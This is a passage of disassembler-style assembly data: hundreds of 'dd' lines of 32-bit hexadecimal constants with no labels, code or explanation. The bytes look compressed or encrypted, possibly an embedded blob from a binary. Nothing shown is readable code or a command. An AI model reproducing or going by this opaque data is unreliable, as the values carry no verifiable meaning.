		dd 6169F61Ch, 107C8ED4h, 58F79ECh, 6EE89910h, 2AD7AC50h
		dd 47C0836Ch, 4E244AFBh, 0B20A806Bh, 0DA0320F2h, 37A54D8h
		dd 0E55351E8h, 8036627h, 43586246h, 0F151003Ah,	0F6DCFB16h
		dd 525808F2h, 0AD5C0279h, 8FF8B246h, 62189374h,	888805B0h
		dd 0C53F2A51h, 0A43DA456h, 6803DF12h, 0C23509Ah, 9EF2D890h
		dd 6820F1D8h, 825E1361h, 4D702036h, 33ACCDAh, 0BB09128Eh
		dd 0C2B3C400h, 0C35DE6FEh, 6F3B82A1h, 0FD70F102h, 464DA6FBh
		dd 3E7CF8h, 8696068Eh, 91BBF207h, 0CA904662h, 18184047h
		dd 0E4AC986Dh, 4EFB0043h, 790385D0h, 35067A7Eh,	67ED36CCh
		dd 0F1AD63A9h, 61003C43h, 7573F417h, 550605h, 21D872F0h
		dd 0B8B2B662h, 37104B06h, 48416FEDh, 3BCAA48Dh,	485189D4h
		dd 4BDC2C83h, 0E6E2ECA0h, 0C2CC8B0Fh, 0A554E5ACh, 0F7B5A840h
		dd 33CECB7h, 2BEDE480h,	2F9B7621h, 9C65D880h, 0E284B603h
		dd 18CE052h, 5D550A69h,	0F8CFF4A5h, 7E004A16h, 122530BFh
		dd 0AE803Ah, 852754D7h,	26F2503Ch, 73288B15h, 6BB500A8h
		dd 6EB8926Ah, 2CBF58E9h, 68061C8h, 2DA1FED8h, 1FD0B874h
		dd 809B5D0Ch, 521D0A95h, 0FC2448FBh, 0B416379Ch, 0EDB26043h
		dd 61411666h, 0C48820E1h, 0F316FD65h, 100A6CA2h, 0B2899039h
		dd 5734107Eh, 309154h, 0CDAF73F2h, 0DA1E441Dh, 0DE44BF6Ch
		dd 1081BB6Fh, 0E401B2F1h, 75F8E071h, 0C4BF69C7h, 11EDE087h
		dd 0F9868047h, 0ECDFF061h, 32DA001Ch, 0B98EA066h, 0F41FC331h
		dd 0A6C150CDh, 627BB23Bh, 3D43318Ch, 7107E239h,	0C364CE9Dh
		dd 5183BE71h, 24971860h, 60187228h, 96ABE271h, 0EB5F5002h
		dd 0E01864FFh, 12923C4Dh, 1407ADAAh, 1012DCC8h,	2D500A44h
		dd 0FC288484h, 8F3B007Dh, 0ED53ECh, 3AFEF185h, 0E5CAC0BDh
		dd 0CD2D9818h, 905C51A9h, 0BCCB482Ch, 0C8DD31Eh, 0D789A343h
		dd 66350F07h, 23705BBFh, 94D0ECCh, 137826Eh, 8A208898h
		dd 6F808499h, 0AD726C9Eh, 8DC033Ah, 1ADDCC64h, 38B99460h
		dd 90509C15h, 67D9069Ch, 51FE29BFh, 57F70900h, 5CA5C77Ah
		dd 0A5847F63h, 29E0088h, 0B2C43EDDh, 6D397460h,	0A950D2CBh
		dd 0A803B6F0h, 3182C90Ch, 91E02904h, 0B5F700B0h, 10245928h
		dd 0A135CB00h, 4AC09FF3h, 904800C8h, 0B8FF9237h, 49C58B40h
		dd 0DFC07669h, 7A77BC4Ah, 299F07E3h, 0F0C4303Eh, 6F055F3Dh
		dd 0F6905850h, 0C367E088h, 0A0D62071h, 0F887FDC0h, 0CE7FE24h
		dd 0A88CBF44h, 524B09B2h, 0F4001FADh, 0CC1D85FFh, 7B580803h
		dd 18F9286Ch, 49EDE59h,	72020AC1h, 25FE38A1h, 41546A19h
		dd 5C41E280h, 8824A054h, 0A6BD0057h, 0CBE19823h, 0D600F56Ah
		dd 0C2F12031h, 5064C1B5h, 3B535830h, 43896E1Eh,	0CC01DC19h
		dd 0C67AB2BFh, 0E3091C2Ah, 0F2F410D5h, 0A5100065h, 0A77712E9h
		dd 9005A0FCh, 837CD11Bh, 1F136CCCh, 80C68AB7h, 502291F2h
		dd 770201D4h, 457921B6h, 0FAB848DBh, 309D8869h,	90B76512h
		dd 26554408h, 89540CCCh, 260047D9h, 7FB70430h, 0CD99972h
		dd 0A4E761C0h, 0FF542821h, 0F677349Ch, 0DE22E8F9h, 4C696B00h
		dd 324E98D8h, 0C9081753h, 9524303Dh, 49030172h,	985B92CCh
		dd 0E93DC079h, 0DA19005Ch, 0ED20F4ECh, 6C92A254h, 0DB683E09h
		dd 94E808AFh, 1FCA3680h, 5C0D84ADh, 7922F07Ch, 33C14400h
		dd 0DCABAF8Bh, 0E8B36069h, 510382CDh, 33004258h, 0D8E1898Dh
		dd 1D108F2Ah, 822BF2B4h, 29234507h, 920BE4CEh, 9869446Fh
		dd 0D033BCh, 0A6EC378Fh, 32508EF4h, 14BD3Ch, 39DE35DBh
		dd 0E5BB0E2h, 0D44F56F8h, 568B4345h, 1DC507BCh,	0DCCB0C7h
		dd 0DB0003A6h, 0E8CDDA46h, 7BE824Dh, 0F099954Fh, 54289138h
		dd 48E4F08Fh, 0A6A50C0h, 441258EEh, 871829Bh, 22F099D0h
		dd 0A034F83Eh, 9297D564h, 0F652318Ch, 80834350h, 0DF3BA029h
		dd 0A7E72h, 1AAD3CA7h, 2CEC7134h, 5D8E6903h, 0BC95585Fh
		dd 0DA1434C0h, 8374B1BBh, 7150D8FAh, 59E82988h,	8BEDB600h
		dd 2D5E871Ch, 0A56204DCh, 0A2DFE050h, 948C221Ch, 467C40A8h
		dd 670057FDh, 9C0E9E3Dh, 14B5B67Ah, 6868E5FEh, 6E3311h
		dd 0F026DB4Dh, 0B2F7FFFEh, 0B7D80238h, 0D828A3Ah, 5C614CE4h
		dd 9DEFB2B8h, 8DBB4041h, 0CF88814h, 2A067374h, 0C3B19FF2h
		dd 0DA8A44B0h, 0B5002090h, 0C131557Ch, 2E28CEEFh, 8C7C7B80h
		dd 5481F543h, 8801894h,	0DD9BAEDBh, 0B44E05A0h,	0CDA136h
		dd 4AEB30E8h, 0E328FE8Fh, 0E486C70h, 10E08B2Ch,	12A4670h
		dd 55514BF6h, 0C850FE60h, 0B951E0DAh, 2F0024Ch,	408B1C84h
		dd 4AD728AEh, 0EBE862h,	0D1E3CCBAh, 0D48A2443h,	0BF168500h
		dd 0DAEFCA31h, 587451h,	45E1F8F7h, 4D6ED969h, 0C9807CB9h
		dd 0D6874AC3h, 0E6447F56h, 1CB9077Fh, 5032A834h, 4AA3DAC9h
		dd 0E4EBC472h, 0E301F8E0h, 0B44651CAh, 40223082h, 0C4DB5809h
		dd 2B72B498h, 309FCA00h, 0C5418E05h, 3379E6D9h,	0F9C964E0h
		dd 25F215D8h, 7B3176FAh, 0EEFEAA2Eh, 2989B828h,	1E83C868h
		dd 34BDA500h, 995A42E6h, 27F0049Ch, 0A0B8214Ah,	294843B4h
		dd 361B8038h, 762D0F69h, 20B53FACh, 0CF809CC8h,	9A2938CCh
		dd 0B032E72h, 0F87BA3B4h, 0F6F2E0AAh, 0E9861319h, 0E89801B2h
		dd 10A754DAh, 4DA6ACh, 824A3765h, 76FD49Ch, 4C003473h
		dd 5D44E81Dh, 18DF3261h, 71475758h, 0F8007F5Fh,	0D7B5C145h
		dd 9E3A8264h, 61E2444Ch, 118165E0h, 0F55B03EEh,	5DBED419h
		dd 2A15EF07h, 0A5D4614Ch, 602218A2h, 0A0932C1Fh, 0E5EB75C0h
		dd 45271Dh, 0B823522Bh,	0E3157450h, 73800465h, 0BF630481h
		dd 0C9007C73h, 0BB51D28Ch, 4DE288A5h, 0E93C2201h, 9B53E417h
		dd 0EA390073h, 0A80A2180h, 3B445CB0h, 4DEDDA01h, 0F9F15DEEh
		dd 12B7E9E0h, 0C8E16158h, 4286F8B0h, 0F5080003h, 0F975F656h
		dd 80B8B1DDh, 0C892680Ch
		dd 13246F50h, 641CD98Eh, 95936200h, 58790C41h, 0B458F031h
		dd 90A8204Eh, 6E0F37D0h, 8078B853h, 0A9E2A626h,	803C91A1h
		dd 55F58AF4h, 171FADB0h, 984E5F6h, 0F08C6E35h, 0BE81008Fh
		dd 0C4ACAED1h, 23E610E3h, 6001A8C7h, 852BB44h, 5392783Ch
		dd 362EBC00h, 1D1C9ECh,	5840C7ADh, 70A17CE3h, 73886DACh
		dd 184D5850h, 0DFC0E4CEh, 0D4AAF4A2h, 0C3165700h, 39212D2Ch
		dd 0DB753Fh, 0CCC4098Dh, 71F8FEC8h, 729180B9h, 9D9826h
		dd 0CDFBAA03h, 7D1EFDF7h, 0F06A0982h, 88807891h, 6278C386h
		dd 97CF0005h, 3B4EA5F5h, 0BD1BDBEFh, 88C8DA32h,	7B0283F0h
		dd 35FD00C5h, 8F4E7E5Fh, 54F6136h, 1028044Bh, 0B8394Ch
		dd 9F9F386h, 0C4273E34h, 4DB03702h, 0E435825Eh,	0C890D4h
		dd 0DB4A482Fh, 76E2BFC7h, 0F1B30708h, 72528178h, 0A680FF04h
		dd 2F604470h, 1A123h, 679415CCh, 10739202h, 0B1175A00h
		dd 0C7743F7h, 0A36A02F3h, 7442F6DBh, 592094AFh,	0C807B98h
		dd 7CDD6106h, 0B9FD28h,	2EDC8838h, 0ED3E023Ah, 0A78BE300h
		dd 592874A3h, 0D5293B2Ah, 0ECD95881h, 7B3E6A87h, 0FAD60E0h
		dd 84DBEB5Ah, 0DF58C887h, 0BD29F7CCh, 8008496Fh, 0FC9CB5E1h
		dd 0FE9300DBh, 14DACD4Ah, 0C003A0F1h, 4C7A3DD0h, 0D940001Ch
		dd 0DA352A6Dh, 0E409F74Fh, 1179BFh, 0E5A205D4h,	1D50F0D2h
		dd 86D59182h, 39EEE25Bh, 60C1FCE7h, 0DE10EB60h,	132C8D98h
		dd 38F0CBEh, 4FBDDCBBh,	13729100h, 71EF5E4Bh, 277B0326h
		dd 2C9E2921h, 0ADB69FA8h, 0BD97E80Ch, 31B3165h,	23A293A3h
		dd 2C0E1FAh, 2106E931h,	0A7D5B2CAh, 0E73F4F1h, 44F4B419h
		dd 28A01F4Fh, 0D212ED51h, 87645801h, 48793186h,	0DEC16041h
		dd 0C8AD9C53h, 0B64984Eh, 18E3EB04h, 30E60C00h,	0B8001AC4h
		dd 9C2B7697h, 74C6DBDh,	36DD10CCh, 40F265B9h, 0F75C2A80h
		dd 0BD00FF16h, 0C913E066h, 0A0D6145Bh, 0BEA150h, 0AEC43ADAh
		dd 20D797CBh, 0CA933Fh,	493BCC39h, 22B48Eh, 0DC64B228h
		dd 8669C752h, 80B9903Bh, 0BFB897EBh, 48BB6673h,	40C308D1h
		dd 0A7B3C76Fh, 354D86D8h, 0C466C12Ah, 9F086307h, 0E3E0EEAFh
		dd 15910F5h, 0B9CFB681h, 305FD95Dh, 4C306693h, 9523C9F9h
		dd 0F26900EDh, 0C1E7964Bh, 0D232D87Eh, 20675835h, 0F95CF50Ah
		dd 0BAB2026h, 0F4469B00h, 18C53889h, 297CC197h,	0FE3D96B4h
		dd 0D53CA61Dh, 0BFDCE900h, 4B4606h, 0A544A09Dh,	0D5B421E1h
		dd 0C0D1DD6Fh, 70EDFF5Dh, 0AE873BDCh, 0E0E35A8Ch, 6E24F7A1h
		dd 0C18C0C48h, 0DF6974h, 6C454071h, 0AA190182h,	296DC703h
		dd 0A4AF7ABh, 4131C859h, 2200BCF8h, 0EF40C155h,	0D55666B2h
		dd 7F3AA8h, 9376532Eh, 0ECEF184Ch, 25550127h, 471077E2h
		dd 0D3BC20C4h, 0AA8B7573h, 500412E3h, 0BF818071h, 333BA3BBh
		dd 3A68115h, 2B62B80Eh,	1E5AE7F0h, 0A3FFD72h, 5423F6h
		dd 2E599C34h, 0D6302412h, 0A04219A6h, 4D3C00F9h, 0EBCDD206h
		dd 81CA68DAh, 0F260A0B9h, 7138B7Ah, 8A45E67Ch, 0F7B3F0F9h
		dd 9CA44C59h, 56CB1C80h, 1DF1AA00h, 4A189DB4h, 4DB20076h
		dd 720B578Fh, 0F86005D8h, 7C41C458h, 0DBC703DAh, 0D26E6AABh
		dd 5B287101h, 0B835C69Ah, 98D38921h, 8A83BFh, 4875C418h
		dd 0D2CB84DCh, 4EA9B800h, 26E7690Dh, 2220C35Fh,	990061BDh
		dd 0EAC72A3Ah, 436586h,	4CBCBEE1h, 9E890A5Fh, 0C36A60CFh
		dd 0E993B285h, 69EEB904h, 38106B3Ch, 47EF4906h,	0C2C09EE9h
		dd 78DCEFD0h, 82529907h, 0C0725A20h, 0B30448D8h, 12C7E46Dh
		dd 30D2D160h, 9215899Ch, 8100EF7Eh, 95ABA2F3h, 90F5C161h
		dd 4CB8122Bh, 112440F6h, 0E38947BBh, 0FD7D4801h, 0D3A7A15Eh
		dd 43FD0AE1h, 1C0167F4h, 40EB4E10h, 235F4DD1h, 41CBF74Ch
		dd 0E62500ECh, 0E5A2A53h, 18D8778Ah, 805DCE65h,	2BDE57DDh
		dd 92C5DA3Bh, 84204C0Eh, 3FE35D93h, 688098B3h, 77C9ED20h
		dd 60005641h, 0C7C13FC4h, 0FE61F4h, 0ABE63085h,	1B4C9140h
		dd 74D641C0h, 7FA0A0Eh,	0FD2502ACh, 590D20E7h, 3D009546h
		dd 0BC83A94Ch, 243497C4h, 606CADE6h, 65372E6Ch,	0CE9D5300h
		dd 0D4596219h, 0A27D0295h, 98E7F720h, 0B600CC66h, 0E951F65Ah
		dd 7836B2E1h, 907E008Eh, 5E9D3A57h, 3804D462h, 27FA5379h
		dd 0A959B800h, 0C41D3436h, 7C2698C7h, 503A961Fh, 10C088E2h
		dd 72E0B9A1h, 4353120Ch, 0EA4406F2h, 0F73CE1EFh, 98B16950h
		dd 0BE524Ch, 0B6BA86D7h, 0C5C4A541h, 0FBDC5D09h, 6A84810Dh
		dd 0B986EC72h, 3961C128h, 0D3ABF900h, 50BFA592h, 0B0C46137h
		dd 4D16124h, 80B0E830h,	0D00A0365h, 6209E708h, 42A053D3h
		dd 0B90749ABh, 59880584h, 0EC940119h, 3EDCA272h, 53BD30F2h
		dd 0E2F099B1h, 0F74EC10Eh, 0E0911B20h, 0C9F8E05Bh, 0C010D569h
		dd 0C4005CBCh, 2CCF3FBh, 1839107Ah, 21D77869h, 99066640h
		dd 0E45124F7h, 0EEB0C848h, 6A498F80h, 0F87DA394h, 8671189Fh
		dd 2D369054h, 0F8A7C101h, 554D0C1Dh, 114FAECh, 0C5B9824Ch
		dd 0F0C4135Fh, 6B28EDDBh, 0E0F9A016h, 0CD14DC59h, 11A88698h
		dd 5848D169h, 3816E971h, 3B15084Ch, 0C5A98195h,	3CFBE459h
		dd 26BD4981h, 44F3E15Ah, 0D0240078h, 5360EBB3h,	221CB858h
		dd 0DCEA07EEh, 1090CC63h, 76A1CFF5h, 61051A73h,	0D6706AA2h
		dd 0DD418821h, 52C45003h, 0C1902C02h, 47F8A369h, 21629094h
		dd 6D760026h, 0D82F6036h, 450E4CEDh, 0F0ECC1B8h, 2280C528h
		dd 6C5CE75Bh, 97506722h, 0DD83DA75h, 9959C6DEh,	0E69FB4h
		dd 0A9035E16h, 0ADE4FCF1h, 78DB8E05h, 280FF451h, 1C31D84Ch
		dd 463A0010h, 15ABD780h, 122E55C2h, 7642FCD1h, 0DBEB21E1h
		dd 1C38426Fh, 619B4F20h, 0E9B600B3h, 0D7DBA177h, 7D171FE4h
		dd 1203FC93h, 48797CE3h, 0F700E438h, 84BF1B13h,	0BB7D8019h
		dd 6E206B7Dh, 726DF8CAh, 5BA20496h, 0C3B38BE5h,	88225E6Ch
		dd 64B0DEh, 0E7854B93h,	18DF4D39h, 0A6F6A19h, 0D8F0DC21h
		dd 8DA50D5h, 3E737178h,	340004F9h, 93C69019h, 680301F1h
		dd 4C53D324h, 0E7D100F5h, 8228BD72h, 0DEE29A39h, 0DD9E5D0Fh
		dd 3B51D8D5h, 22120742h, 0A0763788h, 27BBADB1h,	0CEF1B807h
		dd 41A2F738h, 0C386211Bh, 6C82C84Fh, 8063A93Bh,	0D2B0140Ch
		dd 0C16427h, 0E60EF3FDh, 0CAE722A5h, 0D78B6D0Ah, 0B201C0BDh
		dd 0F06BB691h, 0BC52E4D1h, 0A518201Dh, 0B50012FCh, 5E85D49Fh
		dd 1E16E39Ah, 0C0D6DC28h, 64715FF3h, 33B890B0h,	0E706F900h
		dd 0EE546D9Eh, 3D87007Ah, 55FE925Bh, 1100B13Ah,	0D197AA66h
		dd 31123668h, 9C80E720h, 0EBEAECB5h, 96001878h,	5E90EF05h
		dd 9983A4D3h, 72818050h, 0DD69979Fh, 7D8A880Eh,	341608Bh
		dd 3EB5C421h, 77A4EB35h, 40EF4420h, 103AB2EEh, 6C7058F0h
		dd 3190F30h, 0E0004642h, 0B445AC6Eh, 1E20A148h,	41E98625h
		dd 0E7BD1180h, 0DA1C70D9h, 2F347100h, 74EF0D88h, 0A50B0566h
		dd 81739E8Dh, 0D40C1F4Fh, 9900B4D2h, 8FB753F2h,	603CEBh
		dd 5BCF03C9h, 0D0278843h, 0D800DEE8h, 473F885h,	0F1B2FFh
		dd 0A7244683h, 16798D22h, 8FAB3A00h, 0B73B3C85h, 0F05EE8EAh
		dd 62A3004Bh, 0CFE16728h, 0E8664093h, 0E0212408h, 826200EBh
		dd 6A2505A7h, 8606FEFFh, 0A84E3B74h, 0E0390091h, 0B7D657E8h
		dd 5D016E88h, 8D7964E5h, 13E8A685h, 2D0A188Fh, 66A9315Eh
		dd 1C29D700h, 0B455EA64h, 0A3FE0C19h, 5E209293h, 75576F00h
		dd 85AF8C4h, 2A1033A2h
		dd 21008608h, 0AF753051h, 0F0A79DACh, 2FB3114h,	0ED6A88E8h
		dd 593CD006h, 1060AFF8h, 957D7118h, 0A0D33B23h,	81C6BA00h
		dd 0ED93BF06h, 9EF88439h, 4680C134h, 0AD8A7776h, 0B5741915h
		dd 4BE511E8h, 3D30C304h, 701000F4h, 0C938F8C2h,	4000F029h
		dd 3FBD74E1h, 37E73Dh, 9996E4BEh, 82871814h, 52701BE4h
		dd 0FCC44A02h, 0E06B948Dh, 24F9F196h, 516F480h,	6DD041h
		dd 42CCC0FEh, 0CA00E2E3h, 0BDB7063Fh, 9BBEFAh, 0A06CF62Fh
		dd 9D7A0C69h, 32002598h, 1E2CDD23h, 462894h, 0E681F5Fh
		dd 0DB9339C3h, 0F1E3F400h, 11CC2D73h, 0D7D4012Ch, 0A6C4C2Eh
		dd 0DE2A608Ch, 7CF5300Ch, 53A883h, 4FA08248h, 0E9B8A957h
		dd 29306500h, 5F67E44Ch, 54CF0368h, 8C7EF3ABh, 777B2EB8h
		dd 0D378409h, 0F6AD0AFh, 0DAA8513Eh, 0F12D8880h, 290045F8h
		dd 4034D3EEh, 0B03F25h,	0EAF98314h, 0C05330AEh,	0A0FD1500h
		dd 172C9BBAh, 3CE5F0F8h, 8B851EADh, 870B9020h, 80014785h
		dd 0CC98687Ah, 0BC1BAE00h, 1613514Ah, 0FB7C00F2h, 6B69048Ch
		dd 8F006F06h, 7FFCB88h,	3A78BCF8h, 0BA07D343h, 30D158BFh
		dd 0CC9AD27Dh, 0E7B5CF0Eh, 8FE98FEBh, 547E8052h, 1C79297h
		dd 8299172h, 0FCB4E65Dh, 9FFC3E19h, 77B0637Fh, 0E04D8E00h
		dd 35332223h, 0F0EE001Dh, 0C27475A5h, 699039B2h, 0B75B1500h
		dd 0F380B379h, 70FE0F1Dh, 2BE042D4h, 5993F06Ch,	9B64F900h
		dd 4B7FBD3Ah, 1E611E94h, 0B9C9400Fh, 58705DB2h,	7ADBC203h
		dd 0F6B350FDh, 0A4E60070h, 86EDE5B0h, 3000C348h, 704213A6h
		dd 15A6CC5h, 0C27A89E8h, 0E8B47B1Eh, 4B00D866h,	0FD65C08Bh
		dd 0AE4691h, 0A80495EEh, 13E0B2AFh, 1703CC01h, 0EADEA625h
		dd 32473DCh, 0A7F42C91h, 5CE80601h, 1E72E4BAh, 1AF0A0A8h
		dd 403ED79h, 6CE211D5h,	806BDA5Fh, 0EFA6F6C0h, 0BC2B0087h
		dd 19B96D20h, 3B28E059h, 3A1E9C48h, 0D100C191h,	0D7E6DBC4h
		dd 898200EBh, 7A0E18F8h, 0F50E8BBCh, 47C90A1Ch,	0B280B7D3h
		dd 98A894h, 0E0DB4969h,	0BC16B4F8h, 0E1E06F50h,	423D2400h
		dd 1D3A6391h, 0D496017Fh, 22D3BF47h, 2A002B60h,	5917333Eh
		dd 3B027CC5h, 8A007204h, 60A0F53Ch, 0BF005A2Ch,	0EEB46466h
		dd 259285h, 0FCF87BDBh,	35211B9h, 150F7400h, 0B3776F1Ch
		dd 9469505Bh, 0AFAC2853h, 36EE8Ch, 46AA4ED1h, 0E7FE56B1h
		dd 21C64C05h, 0DD1C0FDCh, 48002917h, 4095C333h,	38C72A7h
		dd 69CDC456h, 0B9C0A9C5h, 6503F3E0h, 0F29736EBh, 96B4F0CFh
		dd 23EF3320h, 33BB81F0h, 80313DC9h, 79B45710h, 1C52ADFh
		dd 2DBED76Bh, 0E0AEF511h, 49007417h, 4EFE888Ch,	3579569h
		dd 19EC5B70h, 97B2375Ah, 4CD2AC40h, 14768500h, 2E60A120h
		dd 25FF071Ah, 7E917024h, 0D8004C4Bh, 0D55D59CCh, 0CFF3B800h
		dd 6F53D84Ah, 0A6060B09h, 29005AF5h, 469202D3h,	9A88E103h
		dd 0D8B612D5h, 7FF451BFh, 2BE6CEh, 20A7E01h, 894EA61Ch
		dd 0DF009EB8h, 6F7ABF40h, 0F7E23Dh, 86AED59h, 0F6FA38DBh
		dd 95800600h, 0DCCC8B99h, 53811EE1h, 0D99F4004h, 0CE2F5C3Ch
		dd 0ECA4E251h, 4FF8D8F6h, 9E683Ah, 8876E1BDh, 0D4ED83h
		dd 43108C67h, 0CF5464F7h, 0E0E30D00h, 847A1694h, 1431004Fh
		dd 6AAFCA5Eh, 98DC4CAAh, 3E04D981h, 0FA43C5BFh,	0D0C1D081h
		dd 969300C2h, 8AE34767h, 9090D3FFh, 6E286401h, 0DB07F460h
		dd 3C8EB2DCh, 7A306Fh, 0A1734872h, 21706C9Dh, 0B7B93300h
		dd 2717D152h, 0D0B0057h, 0DAEDA923h, 0D900CB28h, 65CDE608h
		dd 95B261h, 9ED2546Ch, 0E59BB18Fh, 0EF683C00h, 0C7565C3Bh
		dd 48F8FEF7h, 0D700FB8Bh, 6EA17C3Eh, 0E10FF270h, 38AE3C17h
		dd 0ED6549h, 0A65C60A7h, 483BF34h, 8F96FA00h, 0FC8AF21Ch
		dd 0CE15008Eh, 0EADCF7D8h, 7F00DFECh, 940CFD6Fh, 26B95B07h
		dd 81CC699Eh, 42B68FBFh, 6D9FF82Ch, 15E7BC00h, 4AFF18BAh
		dd 95A73D35h, 1333DC00h, 111D176Ah, 9906D709h, 0C86C8084h
		dd 26F9FE1h, 8AA26D5Eh,	58609679h, 1800FF34h, 0DD30088Fh
		dd 156462h, 0D73A0B7Bh,	11F98AA3h, 0A261D61Bh, 9EF4D849h
		dd 0AB2500DCh, 37ED66F7h, 0A409E46Eh, 1C8C46h, 9C54F198h
		dd 0DC9549A3h, 34147400h, 57854A6Ch, 72485E0Eh,	0F22080DAh
		dd 5AA9E39h, 0F9C27782h, 2C8800CBh, 0B162FA40h,	0E9BA9F00h
		dd 4FE285C1h, 68131DC3h, 926011Eh, 0ECAD1C75h, 1128197Fh
		dd 12768C2Dh, 0BB041400h, 2F80668Fh, 0DB6B0C86h, 38204F6Ah
		dd 7B14D51Ch, 48479CC0h, 50A58D26h, 9DD8C9h, 0F9DF5D6Bh
		dd 4A74FF8h, 8B3FE300h,	8ED8A899h, 9E5900D9h, 0EDE6DE64h
		dd 50003EEAh, 6BF45AA9h, 0CD4596h, 0B85C79C5h, 0A4D6AF46h
		dd 9EE44300h, 0E7658AD4h, 22BD0078h, 4D3F5C99h,	600171DFh
		dd 0ACDBFBD9h, 1FFC72B0h, 0E8A32452h, 0A03F0238h, 0E4C0584Bh
		dd 0BE00EA2Ah, 73353A6Bh, 6DAB56h, 0A08BA237h, 0C1DBF076h
		dd 9C42B1Eh, 0EEFD9A45h, 792AB830h, 0E77300D1h,	0B5C9C091h
		dd 0A000AEF7h, 0B36C8677h, 0CF445Dh, 7E973D9Dh,	0AB99A3F0h
		dd 511C1903h, 0A040606Ah, 0E1303FFh, 855AB092h,	9900116Fh
		dd 0B08E2B9h, 0A805200h, 0A0D3756Eh, 6587005Ch,	3E5566Ah
		dd 0E1C9F89h, 8EFAEDDBh, 20AE261Ch, 3DA91DD6h, 0FFBD00CAh
		dd 350FCF99h, 780031B2h, 5F64678Bh, 98D7BEE5h, 0AD9A139Ch
		dd 0D6D400B7h, 0A84393D1h, 8E71D40Fh, 0D5206051h, 3D210B70h
		dd 0F383779Eh, 0B56F5424h, 988AF1B0h, 0D6E31C00h, 2ED3A974h
		dd 0A43F092Ch, 0CC8089E1h, 4DEEC611h, 2CD6E226h, 0BCBBAE02h
		dd 0B22140E0h, 0CB4504Ah, 0C1CA00BDh, 0A8EBA6F7h, 57E89E12h
		dd 0F82538C0h, 1E5D0B9Ah, 13CF0F9h, 24860602h, 4C53F098h
		dd 0A4C9C061h, 79B0F0CDh, 0B6A24D48h, 4559C600h, 778128B1h
		dd 0C4CB0153h, 0EBDB5EF1h, 0BD688003h, 0D17F312h, 10BA7Bh
		dd 4B8C13FBh, 5333B682h, 39146A74h, 58BA4Dh, 815814DBh
		dd 6832C9h, 86833169h, 5423FFDh, 0A5DC7900h, 0B7C9B5D7h
		dd 0D8750024h, 0D42759EDh, 0CA06D19Ah, 9625E437h, 7E510671h
		dd 11AF97B3h, 0E004AE57h, 0C3CF46DBh, 455C3210h, 3259000h
		dd 56539594h, 8BE15896h, 0B00DDB1Dh, 46122FC8h,	422729C8h
		dd 4924F6B2h, 12A13221h, 0F392105Bh, 0CD093589h, 203F124Eh
		dd 38D0D91Fh, 0EAEFCC02h, 61E50232h, 0F2CCF48Dh, 155800EBh
		dd 0DE929CC1h, 0E00FC5Ch, 33FF53DFh, 3F041F6h, 0C477E32Ah
		dd 25B07F6Eh, 0ED00CE58h, 1F9565A0h, 38F326DFh,	0E028E3BFh
		dd 0D179C3h, 506C1387h,	0EA32E94Fh, 0B600F9FEh,	7B54D34Eh
		dd 0C606EBh, 96B7851Dh,	681EFCE4h, 0FE519500h, 30730C1h
		dd 0F12B824h, 4C755AA6h, 0C6DAB820h, 0CE00A48Bh, 0F516DB36h
		dd 0E58655Dh, 73CB3825h, 1800C415h, 54676B28h, 0C2009214h
		dd 912DDB43h, 2EF933Ch,	0E998739Ch, 2D60338Dh, 0AB3AB494h
		dd 0D220E0DDh, 2E808FFCh, 94B836h, 0E3861859h, 0DB00E0DDh
		dd 9CF6780Eh, 3B7E51Fh,	0F3C0C67Ch, 0E6D8F0B5h,	1C00BB42h
		dd 32418BEAh, 0FBA3E1h,	0FE997151h, 23E8B0C7h, 0EDBBC807h
		dd 65808118h, 29D59Fh, 3648C4B7h, 0E4C9BC8Ch, 0CF2E8D03h
		dd 0E88292C3h, 71FD44A6h, 0DC8EE3Bh, 0A3429D28h, 64F4ED1Eh
		dd 160097A4h, 1599662Dh, 606C17h, 72E27CE3h, 25CF94E7h
		dd 6A82BB00h, 0BDAA12DEh, 0A9950599h, 42E8114Eh, 7A86108Ch
		dd 26FD4EE0h, 0CDE7EE00h
		dd 0E6C3BF8Ch, 0C6B0019Bh, 7C279FE3h, 5130819Dh, 5C5354F6h
		dd 0C83D20h, 0F4C4E62Fh, 256E41EFh, 94931A00h, 668058BAh
		dd 0CE7C01E2h, 57AAB550h, 9B03DCD0h, 8AB2BF00h,	33ED758Fh
		dd 8BA0003Ch, 0A37198ECh, 30B0AFE3h, 0F57DE3B0h, 80BA283Ah
		dd 0EA18A6DCh, 0FBD209h, 3F9ACA07h, 0BBE0880Bh,	0F30094B8h
		dd 0EEEAC20Eh, 0B0B269h, 1306C953h, 8E50C3DFh, 6CC81000h
		dd 5AFFCFD9h, 7B2D00EEh, 0A94568D1h, 6924B320h,	7E2FE0C4h
		dd 7F1C00E8h, 8136EC96h, 24E6BC00h, 0BF2E99B7h,	0F9EA00B4h
		dd 65FAFE20h, 531C824Ch, 807A5748h, 0B4B6404Eh,	0A26445h
		dd 0C3617FB0h, 0C2764FABh, 80D87D3Bh, 95410A15h, 12650601h
		dd 16BB5A1h, 932E14C3h,	0B28C4090h, 6924FFE6h, 0DE0288F6h
		dd 40E9E755h, 31F300h, 64DD780h, 949E3BFAh, 1015B201h
		dd 1CFE01C5h, 19D40C25h, 626C5C74h, 63A48F01h, 0E8A8874Eh
		dd 230127BCh, 0D22DFFF1h, 4246791h, 6A060990h, 8820EF99h
		dd 49D1CE48h, 0BF78A7F6h, 0BD73C83Fh, 0C25880F0h, 0DBD51AAEh
		dd 3021FD5Eh, 911330h, 78044FDEh, 499992C2h, 8DE0EF0Fh
		dd 9C007268h, 0A953FB35h, 1B3D3982h, 0B94C5800h, 43246F22h
		dd 66050C05h, 75832092h, 40269808h, 64251421h, 0D202D461h
		dd 0CB9592A4h, 904DD903h, 0A30340h, 0C9F4FAB8h,	0B4E288E1h
		dd 97838B00h, 0EA3416B9h, 2861005Eh, 2304FFF6h,	6900C6DBh
		dd 4058CA1Ch, 0B85F9620h, 46762A33h, 9D0108D4h,	0A053FF77h
		dd 0A80CE663h, 0F53E98h, 0D46DE159h, 0C57AE495h, 0F40A3907h
		dd 9AF069FCh, 1E3CEF31h, 80DCE730h, 0AA5C4329h,	0F50F03A3h
		dd 403133A8h, 0BC18C6D0h, 8F7E01C4h, 63A38523h,	9C2CC0E5h
		dd 0E3CB422Eh, 81EB112h, 0A87BF9C0h, 0FF5A9F6h,	2CB7D117h
		dd 0DDE80773h, 44E75704h, 9D5380DCh, 720036A6h,	0AE7FC0DAh
		dd 0C5916Ah, 0AF51D06h,	367194C4h, 75800805h, 3EC32452h
		dd 8927E8D1h, 58CB0764h, 0F111D89Dh, 89C4BE9Fh,	0D5BC4A10h
		dd 40B10A87h, 878B5A5Bh, 52339700h, 37D86143h, 0EFD100B3h
